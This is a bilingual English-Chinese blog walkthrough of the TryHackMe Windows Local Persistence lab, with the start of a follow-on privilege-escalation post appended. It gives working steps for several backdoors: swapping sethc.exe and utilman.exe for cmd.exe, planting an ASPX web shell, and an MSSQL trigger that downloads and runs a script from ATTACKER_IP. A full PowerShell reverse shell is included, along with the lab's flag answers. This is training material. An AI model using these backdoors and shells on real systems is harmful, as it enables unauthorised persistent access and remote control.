&lt;p&gt;Submit 提交&lt;/p&gt;
&lt;p&gt;Insert flag13 here 在此处插入 flag13&lt;br&gt; THM{USER_TRIGGERED_PERSISTENCE_FTW}&lt;/p&gt;
&lt;p&gt;Submit 提交&lt;/p&gt;
&lt;h1&gt;Backdooring the Login Screen / RDP&lt;/h1&gt;
&lt;p&gt;If we have physical access to the machine (or &lt;u&gt;RDP&lt;/u&gt; in our case), you can backdoor the login screen to access a terminal without having valid credentials for a machine.&lt;br&gt;如果我们对计算机（在本例中为 RDP）具有物理访问权限，则可以在没有计算机有效凭据的情况下对登录屏幕进行后门访问终端。&lt;/p&gt;
&lt;p&gt;We will look at two methods that rely on accessibility features to this end.&lt;br&gt;为此，我们将研究两种依赖辅助功能的方法。&lt;/p&gt;
&lt;p&gt;Sticky Keys 粘滞键&lt;/p&gt;
&lt;p&gt;When pressing key combinations like &lt;strong&gt;CTRL + ALT + DEL&lt;/strong&gt;, you can configure Windows to use sticky keys, which allows you to press the buttons of a combination sequentially instead of at the same time. In that sense, if sticky keys are active, you could press and release &lt;strong&gt;CTRL&lt;/strong&gt;, press and release &lt;strong&gt;ALT&lt;/strong&gt; and finally, press and release &lt;strong&gt;DEL&lt;/strong&gt; to achieve the same effect as pressing the &lt;strong&gt;CTRL + ALT + DEL&lt;/strong&gt; combination.&lt;br&gt;按 等 &lt;strong&gt;CTRL + ALT + DEL&lt;/strong&gt; 组合键时，可以将 Windows 配置为使用粘滞键，这样可以按顺序而不是同时按下组合键。从这个意义上说，如果粘滞键处于活动状态，您可以按下并松开 &lt;strong&gt;CTRL&lt;/strong&gt; ，按下并松开 &lt;strong&gt;ALT&lt;/strong&gt; ，最后按下并松开 &lt;strong&gt;DEL&lt;/strong&gt; 以达到与按 &lt;strong&gt;CTRL + ALT + DEL&lt;/strong&gt; 下组合相同的效果。&lt;/p&gt;
&lt;p&gt;To establish persistence using Sticky Keys, we will abuse a shortcut enabled by default in any Windows installation that allows us to activate Sticky Keys by pressing &lt;strong&gt;SHIFT&lt;/strong&gt; 5 times. After inputting the shortcut, we should usually be presented with a screen that looks as follows:&lt;br&gt;为了使用粘滞键建立持久性，我们将滥用在任何 Windows 安装中默认启用的快捷方式，该快捷方式允许我们通过按 &lt;strong&gt;SHIFT&lt;/strong&gt; 5 次来激活粘滞键。输入快捷方式后，我们通常会看到一个屏幕，如下所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-33.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After pressing &lt;strong&gt;SHIFT&lt;/strong&gt; 5 times, Windows will execute the binary in &lt;strong&gt;C:\Windows\System32\sethc.exe&lt;/strong&gt;. If we are able to replace such binary for a payload of our preference, we can then trigger it with the shortcut. Interestingly, we can even do this from the login screen before inputting any credentials.&lt;br&gt;按 &lt;strong&gt;SHIFT&lt;/strong&gt; 5 次后，Windows 将执行 中的 &lt;strong&gt;C:\Windows\System32\sethc.exe&lt;/strong&gt; 二进制文件。如果我们能够将这样的二进制文件替换为我们喜欢的有效载荷，那么我们就可以用快捷方式触发它。有趣的是，我们甚至可以在输入任何凭据之前从登录屏幕执行此操作。&lt;/p&gt;
&lt;p&gt;A straightforward way to backdoor the login screen consists of replacing &lt;strong&gt;sethc.exe&lt;/strong&gt; with a copy of &lt;strong&gt;cmd.exe&lt;/strong&gt;. That way, we can spawn a console using the sticky keys shortcut, even from the logging screen.&lt;br&gt;后门登录屏幕的一种直接方法是 &lt;strong&gt;sethc.exe&lt;/strong&gt; 替换为 的 &lt;strong&gt;cmd.exe&lt;/strong&gt; 副本。这样，我们就可以使用粘滞键快捷方式生成控制台，甚至可以从日志记录屏幕生成控制台。&lt;/p&gt;
&lt;p&gt;To overwrite &lt;strong&gt;sethc.exe&lt;/strong&gt;, we first need to take ownership of the file and grant our current user permission to modify it. Only then will we be able to replace it with a copy of &lt;strong&gt;cmd.exe&lt;/strong&gt;. We can do so with the following commands:&lt;br&gt;要覆盖 &lt;strong&gt;sethc.exe&lt;/strong&gt; ，我们首先需要获得文件的所有权并授予我们当前用户修改它的权限。只有这样，我们才能用 的 &lt;strong&gt;cmd.exe&lt;/strong&gt; 副本替换它。我们可以使用以下命令来做到这一点：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): &amp;quot;c:\Windows\System32\sethc.exe&amp;quot; now owned by user &amp;quot;PURECHAOS\Administrator&amp;quot;.

C:\&amp;gt; icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\&amp;gt; copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
        1 file(s) copied.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After doing so, lock your session from the start menu:&lt;br&gt;执行此操作后，从开始菜单锁定会话：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-34.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;You should now be able to press &lt;strong&gt;SHIFT&lt;/strong&gt; five times to access a terminal with SYSTEM privileges directly from the login screen:&lt;br&gt;您现在应该能够按 &lt;strong&gt;SHIFT&lt;/strong&gt; 五次直接从登录屏幕访问具有系统权限的终端：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-35.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-36.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;From your newly obtained terminal, execute &lt;strong&gt;C:\flags\flag14.exe&lt;/strong&gt; to get your flag!
从你新获得的终端，执行 &lt;strong&gt;C:\flags\flag14.exe&lt;/strong&gt; 以获得你的旗帜！&lt;/p&gt;
&lt;p&gt;Utilman 乌蒂尔曼&lt;/p&gt;
&lt;p&gt;Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:&lt;br&gt;Utilman 是一个内置的 Windows 应用程序，用于在锁定屏幕期间提供轻松访问选项：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-37.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;When we click the ease of access button on the login screen, it executes &lt;strong&gt;C:\Windows\System32\Utilman.exe&lt;/strong&gt; with SYSTEM privileges. If we replace it with a copy of &lt;strong&gt;cmd.exe&lt;/strong&gt;, we can bypass the login screen again.&lt;br&gt;当我们单击登录屏幕上的易于访问按钮时，它将 &lt;strong&gt;C:\Windows\System32\Utilman.exe&lt;/strong&gt; 以 SYSTEM 权限执行。如果我们用 &lt;strong&gt;cmd.exe&lt;/strong&gt; 的副本替换它，我们可以再次绕过登录屏幕。&lt;/p&gt;
&lt;p&gt;To replace &lt;strong&gt;utilman.exe&lt;/strong&gt;, we do a similar process to what we did with &lt;strong&gt;sethc.exe&lt;/strong&gt;:&lt;br&gt;为了替换 &lt;strong&gt;utilman.exe&lt;/strong&gt; ，我们做了一个与以下 &lt;strong&gt;sethc.exe&lt;/strong&gt; 操作类似的过程：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; takeown /f c:\Windows\System32\utilman.exe

SUCCESS: The file (or folder): &amp;quot;c:\Windows\System32\utilman.exe&amp;quot; now owned by user &amp;quot;PURECHAOS\Administrator&amp;quot;.

C:\&amp;gt; icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files

C:\&amp;gt; copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
        1 file(s) copied.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To trigger our terminal, we will lock our screen from the start button:&lt;br&gt;要触发我们的终端，我们将从开始按钮锁定屏幕：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-38.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;And finally, proceed to click on the &amp;quot;Ease of Access&amp;quot; button. Since we replaced &lt;strong&gt;utilman.exe&lt;/strong&gt; with a &lt;strong&gt;cmd.exe&lt;/strong&gt; copy, we will get a command prompt with SYSTEM privileges:&lt;br&gt;最后，继续单击“轻松访问”按钮。由于我们 &lt;strong&gt;utilman.exe&lt;/strong&gt; 替换为副本 &lt;strong&gt;cmd.exe&lt;/strong&gt; ，因此我们将获得具有 SYSTEM 权限的命令提示符：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-39.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-40.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;From your newly obtained terminal, execute &lt;strong&gt;C:\flags\flag15.exe&lt;/strong&gt; to get your flag!
从你新获得的终端，执行 &lt;strong&gt;C:\flags\flag15.exe&lt;/strong&gt; 以获得你的旗帜！&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Insert flag14 here 在此处插入 flag14&lt;/p&gt;
&lt;p&gt;THM{BREAKING_THROUGH_LOGIN}&lt;/p&gt;
&lt;p&gt;Submit 提交&lt;/p&gt;
&lt;p&gt;Insert flag15 here 在此处插入 flag15&lt;br&gt;THM{THE_LOGIN_SCREEN_IS_MERELY_A_SUGGESTION}&lt;/p&gt;
&lt;p&gt;Submit 提交&lt;/p&gt;
&lt;h1&gt;Persisting Through Existing Services&lt;/h1&gt;
&lt;p&gt;If you don&amp;#39;t want to use Windows features to hide a backdoor, you can always profit from any existing service that can be used to run code for you. This task will look at how to plant backdoors in a typical web server setup. Still, any other application where you have some degree of control on what gets executed should be backdoorable similarly. The possibilities are endless!&lt;br&gt;如果您不想使用 Windows 功能来隐藏后门，您始终可以从可用于为您运行代码的任何现有服务中获利。此任务将着眼于如何在典型的 Web 服务器设置中植入后门。尽管如此，您对执行的内容有一定程度的控制权的任何其他应用程序都应该同样是可后门的。可能性是无穷无尽的！&lt;/p&gt;
&lt;p&gt;Using Web Shells 使用 Web Shell&lt;/p&gt;
&lt;p&gt;The usual way of achieving persistence in a web server is by uploading a web shell to the web directory. This is trivial and will grant us access with the privileges of the configured user in IIS, which by default is &lt;strong&gt;iis apppool\defaultapppool&lt;/strong&gt;. Even if this is an unprivileged user, it has the special &lt;strong&gt;SeImpersonatePrivilege&lt;/strong&gt;, providing an easy way to escalate to the Administrator using various known exploits. For more information on how to abuse this privilege, see the &lt;a href=&quot;https://tryhackme.com/room/windowsprivesc20&quot;&gt;Windows Privesc Room&lt;/a&gt;.&lt;br&gt;在 Web 服务器中实现持久性的常用方法是将 Web Shell 上传到 Web 目录。这是微不足道的，它将授予我们使用 IIS 中已配置用户的权限的访问权限，默认情况下为 &lt;strong&gt;iis apppool\defaultapppool&lt;/strong&gt; .即使这是一个非特权用户，它也具有特殊 &lt;strong&gt;SeImpersonatePrivilege&lt;/strong&gt; 性，提供了一种使用各种已知漏洞升级到管理员的简单方法。有关如何滥用此权限的详细信息，请参阅 Windows Privesc Room。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s start by downloading an ASP.NET web shell. A ready to use web shell is provided &lt;a href=&quot;https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx&quot;&gt;here&lt;/a&gt;, but feel free to use any you prefer. Transfer it to the victim machine and move it into the webroot, which by default is located in the &lt;strong&gt;C:\inetpub\wwwroot&lt;/strong&gt; directory:&lt;br&gt;让我们从下载一个 ASP.NET Web Shell 开始。这里提供了一个现成的 Web shell，但您可以随意使用您喜欢的任何 Web Shell。将其传输到受害计算机并将其移动到 webroot 中，默认情况下，该 webroot 位于以下 &lt;strong&gt;C:\inetpub\wwwroot&lt;/strong&gt; 目录中：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; move shell.aspx C:\inetpub\wwwroot\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Depending on the way you create/transfer &lt;strong&gt;shell.aspx&lt;/strong&gt;, the permissions in the file may not allow the web server to access it. If you are getting a Permission Denied error while accessing the shell&amp;#39;s URL, just grant everyone full permissions on the file to get it working. You can do so with &lt;strong&gt;icacls shell.aspx /grant Everyone:F&lt;/strong&gt;.&lt;br&gt;注意：根据您创建/传输 &lt;strong&gt;shell.aspx&lt;/strong&gt; 的方式，文件中的权限可能不允许 Web 服务器访问它。如果您在访问 shell 的 URL 时收到“权限被拒绝”错误，只需授予每个人对文件的完全权限即可使其正常工作。您可以使用 &lt;strong&gt;icacls shell.aspx /grant Everyone:F&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;We can then run commands from the web server by pointing to the following URL:&lt;br&gt;然后，我们可以通过指向以下 URL 从 Web 服务器运行命令：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://10.10.247.82/shell.aspx&quot;&gt;http://10.10.247.82/shell.aspx&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-41.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-42.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use your web shell to execute &lt;strong&gt;C:\flags\flag16.exe&lt;/strong&gt; to get your flag!
使用您的 Web shell 执行 &lt;strong&gt;C:\flags\flag16.exe&lt;/strong&gt; 以获取您的标志！&lt;/p&gt;
&lt;p&gt;While web shells provide a simple way to leave a backdoor on a system, it is usual for blue teams to check file integrity in the web directories. Any change to a file in there will probably trigger an alert.&lt;br&gt;虽然 Web Shell 提供了一种在系统上留下后门的简单方法，但蓝色团队通常会检查 Web 目录中的文件完整性。对其中文件的任何更改都可能触发警报。&lt;/p&gt;
&lt;p&gt;Using MSSQL as a Backdoor&lt;br&gt;使用MSSQL作为后门&lt;/p&gt;
&lt;p&gt;There are several ways to plant backdoors in MSSQL Server installations. For now, we will look at one of them that abuses triggers. Simply put, &lt;strong&gt;triggers&lt;/strong&gt; in MSSQL allow you to bind actions to be performed when specific events occur in the database. Those events can range from a user logging in up to data being inserted, updated or deleted from a given table. For this task, we will create a trigger for any INSERT into the &lt;strong&gt;HRDB&lt;/strong&gt; database.&lt;br&gt;有几种方法可以在 MSSQL Server 安装中植入后门。现在，我们将看看其中之一滥用触发器。简单地说，MSSQL中的触发器允许您绑定数据库中发生特定事件时要执行的操作。这些事件的范围可以从用户登录到从给定表中插入、更新或删除的数据。对于此任务，我们将为 &lt;strong&gt;HRDB&lt;/strong&gt; 数据库中的任何 INSERT 创建一个触发器。&lt;/p&gt;
&lt;p&gt;Before creating the trigger, we must first reconfigure a few things on the database. First, we need to enable the &lt;strong&gt;xp_cmdshell&lt;/strong&gt; stored procedure. &lt;strong&gt;xp_cmdshell&lt;/strong&gt; is a stored procedure that is provided by default in any MSSQL installation and allows you to run commands directly in the system&amp;#39;s console but comes disabled by default.&lt;br&gt;在创建触发器之前，我们必须首先在数据库上重新配置一些东西。首先，我们需要启用 &lt;strong&gt;xp_cmdshell&lt;/strong&gt; 存储过程。 &lt;strong&gt;xp_cmdshell&lt;/strong&gt; 是任何 MSSQL 安装中默认提供的存储过程，允许您直接在系统控制台中运行命令，但默认情况下处于禁用状态。&lt;/p&gt;
&lt;p&gt;To enable it, let&amp;#39;s open &lt;strong&gt;Microsoft&lt;/strong&gt;** &lt;strong&gt;&lt;strong&gt;&lt;u&gt;SQL&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;Server Management Studio 18&lt;/strong&gt;, available from the start menu. When asked for authentication, just use &lt;strong&gt;Windows Authentication&lt;/strong&gt; (the default value), and you will be logged on with the credentials of your current Windows User. By default, the local Administrator account will have access to all DBs.&lt;br&gt;要启用它，让我们从开始菜单中打开 &lt;strong&gt;Microsoft&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;u&gt;SQL&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt; **&lt;strong&gt;Server Management Studio 18&lt;/strong&gt; 。当要求进行身份验证时，只需使用 Windows 身份验证（默认值），您将使用当前 Windows 用户的凭据登录。默认情况下，本地管理员帐户将有权访问所有数据库。&lt;/p&gt;
&lt;p&gt;Once logged in, click on the &lt;strong&gt;New Query&lt;/strong&gt; button to open the query editor:&lt;br&gt;登录后，单击“新建查询”按钮以打开查询编辑器：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-43.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Run the following SQL sentences to enable the &amp;quot;Advanced Options&amp;quot; in the MSSQL configuration, and proceed to enable &lt;strong&gt;xp_cmdshell&lt;/strong&gt;.&lt;br&gt;运行以下 SQL 语句以启用 MSSQL 配置中的“高级选项”，然后继续启用 &lt;strong&gt;xp_cmdshell&lt;/strong&gt; .&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;sp_configure &amp;#39;Show Advanced Options&amp;#39;,1;
RECONFIGURE;
GO

sp_configure &amp;#39;xp_cmdshell&amp;#39;,1;
RECONFIGURE;
GO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After this, we must ensure that any website accessing the database can run &lt;strong&gt;xp_cmdshell&lt;/strong&gt;. By default, only database users with the &lt;strong&gt;sysadmin&lt;/strong&gt; role will be able to do so. Since it is expected that web applications use a restricted database user, we can grant privileges to all users to impersonate the &lt;strong&gt;sa&lt;/strong&gt; user, which is the default database administrator:&lt;br&gt;在此之后，我们必须确保任何访问数据库的网站都可以运行 &lt;strong&gt;xp_cmdshell&lt;/strong&gt; 。默认情况下，只有具有该角色的 &lt;strong&gt;sysadmin&lt;/strong&gt; 数据库用户才能执行此操作。由于 Web 应用程序应使用受限的数据库用户，因此我们可以向所有用户授予模拟 &lt;strong&gt;sa&lt;/strong&gt; 该用户（默认数据库管理员）的权限：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After all of this, we finally configure a trigger. We start by changing to the &lt;strong&gt;HRDB&lt;/strong&gt; database:&lt;br&gt;完成所有这些之后，我们终于配置了一个触发器。我们首先更改为 &lt;strong&gt;HRDB&lt;/strong&gt; 数据库：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;USE HRDB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our trigger will leverage &lt;strong&gt;xp_cmdshell&lt;/strong&gt; to execute Powershell to download and run a &lt;strong&gt;.ps1&lt;/strong&gt; file from a web server controlled by the attacker. The trigger will be configured to execute whenever an &lt;strong&gt;INSERT&lt;/strong&gt; is made into the &lt;strong&gt;Employees&lt;/strong&gt; table of the &lt;strong&gt;HRDB&lt;/strong&gt; database:&lt;br&gt;我们的触发器将利用 &lt;strong&gt;xp_cmdshell&lt;/strong&gt; Powershell 从攻击者控制的 Web 服务器下载和运行 &lt;strong&gt;.ps1&lt;/strong&gt; 文件。触发器将配置为每当在 &lt;strong&gt;HRDB&lt;/strong&gt; 数据库 &lt;strong&gt;Employees&lt;/strong&gt; 表中执行 an &lt;strong&gt;INSERT&lt;/strong&gt; 时执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = &amp;#39;sa&amp;#39;
EXEC master..xp_cmdshell &amp;#39;Powershell -c &amp;quot;IEX(New-Object net.webclient).downloadstring(&amp;#39;&amp;#39;http://ATTACKER_IP:8000/evilscript.ps1&amp;#39;&amp;#39;)&amp;quot;&amp;#39;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that the backdoor is set up, let&amp;#39;s create &lt;strong&gt;evilscript.ps1&lt;/strong&gt; in our attacker&amp;#39;s machine, which will contain a Powershell reverse shell:&lt;br&gt;现在后门已经设置好了，让我们在攻击者的机器中创建 &lt;strong&gt;evilscript.ps1&lt;/strong&gt; ，它将包含一个 Powershell 反向 shell：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$client = New-Object System.Net.Sockets.TCPClient(&amp;quot;ATTACKER_IP&amp;quot;,4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );
    $sendback2 = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We will need to open two terminals to handle the connections involved in this exploit:&lt;br&gt;我们需要打开两个终端来处理此漏洞中涉及的连接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The trigger will perform the first connection to download and execute &lt;strong&gt;evilscript.ps1&lt;/strong&gt;. Our trigger is using port 8000 for that.&lt;br&gt;触发器将执行第一个连接以下载并执行 &lt;strong&gt;evilscript.ps1&lt;/strong&gt; 。为此，我们的触发器使用端口 8000。&lt;/li&gt;
&lt;li&gt;The second connection will be a reverse shell on port 4454 back to our attacker machine.&lt;br&gt;第二个连接将是端口 4454 上的反向 shell，返回到我们的攻击者计算机。&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;AttackBox 攻击盒&lt;br/&gt;&lt;code&gt;plain user@AttackBox$ python3 -m http.server  Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... &lt;/code&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;AttackBox 攻击盒&lt;br/&gt;&lt;code&gt;plain user@AttackBox$ nc -lvp 4454 Listening on 0.0.0.0 4454 &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;With all that ready, let&amp;#39;s navigate to &lt;strong&gt;&lt;a href=&quot;http://10.10.247.82/&quot;&gt;http://10.10.247.82/&lt;/a&gt;&lt;/strong&gt; and insert an employee into the web application. Since the web application will send an INSERT statement to the database, our TRIGGER will provide us access to the system&amp;#39;s console.&lt;br&gt;准备好所有这些内容后，让我们导航到 &lt;strong&gt;&lt;a href=&quot;http://10.10.247.82/&quot;&gt;http://10.10.247.82/&lt;/a&gt;&lt;/strong&gt; 员工并将其插入 Web 应用程序。由于 Web 应用程序将向数据库发送 INSERT 语句，因此我们的 TRIGGER 将为我们提供对系统控制台的访问。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-44.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use your web shell to execute &lt;strong&gt;C:\flags\flag17.exe&lt;/strong&gt; to get your flag!
使用您的 Web shell 执行 &lt;strong&gt;C:\flags\flag17.exe&lt;/strong&gt; 以获取您的标志！&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Insert flag16 here 在此处插入 flag16&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; THM{EZ_WEB_PERSISTENCE}				Correct Answer 正确答案&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Insert flag17 here 在此处插入 flag17&lt;br&gt;THM{I_LIVE_IN_YOUR_DATABASE}&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Submit 提交&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-windows-local-persistence/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-windows-local-persistence/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Fri, 05 Jul 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Windows Privilege Escalation</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-windows-privilege-escalation/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-windows-privilege-escalation/</guid><description>Red Teaming</description><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;During a penetration test, you will often have access to some Windows hosts with an unprivileged user. Unprivileged users will hold limited access, including their files and folders only, and have no means to perform administrative tasks on the host, preventing you from having complete control over your target.&lt;br&gt;在渗透测试期间，您通常可以访问具有非特权用户的某些 Windows 主机。非特权用户将拥有有限的访问权限，仅包括其文件和文件夹，并且无法在主机上执行管理任务，从而阻止您完全控制目标。&lt;/p&gt;
&lt;p&gt;This room covers fundamental techniques that attackers can use to elevate privileges in a Windows environment, allowing you to use any initial unprivileged foothold on a host to escalate to an administrator account, where possible.&lt;br&gt;此会议室介绍了攻击者可用于提升 Windows 环境中权限的基本技术，允许您在可能的情况下使用主机上的任何初始非特权立足点升级到管理员帐户。&lt;/p&gt;
&lt;p&gt;If you want to brush up on your skills first, you can have a look through the &lt;a href=&quot;https://tryhackme.com/module/windows-fundamentals&quot;&gt;Windows Fundamentals Module&lt;/a&gt; or the &lt;a href=&quot;https://tryhackme.com/module/hacking-windows-1&quot;&gt;Hacking Windows Module&lt;/a&gt;.&lt;br&gt;如果你想先复习你的技能，你可以看看 Windows 基础模块或黑客 Windows 模块。&lt;/p&gt;
&lt;h1&gt;Windows Privilege Escalation&lt;/h1&gt;
&lt;p&gt;Simply put, privilege escalation consists of using given access to a host with &amp;quot;user A&amp;quot; and leveraging it to gain access to &amp;quot;user B&amp;quot; by abusing a weakness in the target system. While we will usually want &amp;quot;user B&amp;quot; to have administrative rights, there might be situations where we&amp;#39;ll need to escalate into other unprivileged accounts before actually getting administrative privileges.&lt;br&gt;简单地说，权限提升包括使用对具有“用户 A”的主机的给定访问权限，并通过滥用目标系统中的弱点来利用它来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”具有管理权限，但在某些情况下，我们可能需要升级到其他非特权帐户，然后才能实际获得管理权限。&lt;/p&gt;
&lt;p&gt;Gaining access to different accounts can be as simple as finding credentials in text files or spreadsheets left unsecured by some careless user, but that won&amp;#39;t always be the case. Depending on the situation, we might need to abuse some of the following weaknesses:&lt;br&gt;获取对不同帐户的访问权限可能就像在一些粗心用户未保护的文本文件或电子表格中查找凭据一样简单，但情况并非总是如此。根据具体情况，我们可能需要滥用以下一些弱点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Misconfigurations on Windows services or scheduled tasks&lt;br&gt;Windows 服务或计划任务上的配置错误&lt;/li&gt;
&lt;li&gt;Excessive privileges assigned to our account&lt;br&gt;分配给我们帐户的过多权限&lt;/li&gt;
&lt;li&gt;Vulnerable software 易受攻击的软件&lt;/li&gt;
&lt;li&gt;Missing Windows security patches&lt;br&gt;缺少 Windows 安全修补程序&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before jumping into the actual techniques, let&amp;#39;s look at the different account types on a Windows system.&lt;br&gt;在进入实际技术之前，让我们先看看 Windows 系统上的不同帐户类型。&lt;/p&gt;
&lt;p&gt;Windows Users Windows 用户&lt;/p&gt;
&lt;p&gt;Windows systems mainly have two kinds of users. Depending on their access levels, we can categorise a user in one of the following groups:&lt;br&gt;Windows系统主要有两种用户。根据用户的访问级别，我们可以将用户分为以下组之一：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Administrators&lt;/strong&gt;&lt;/th&gt;
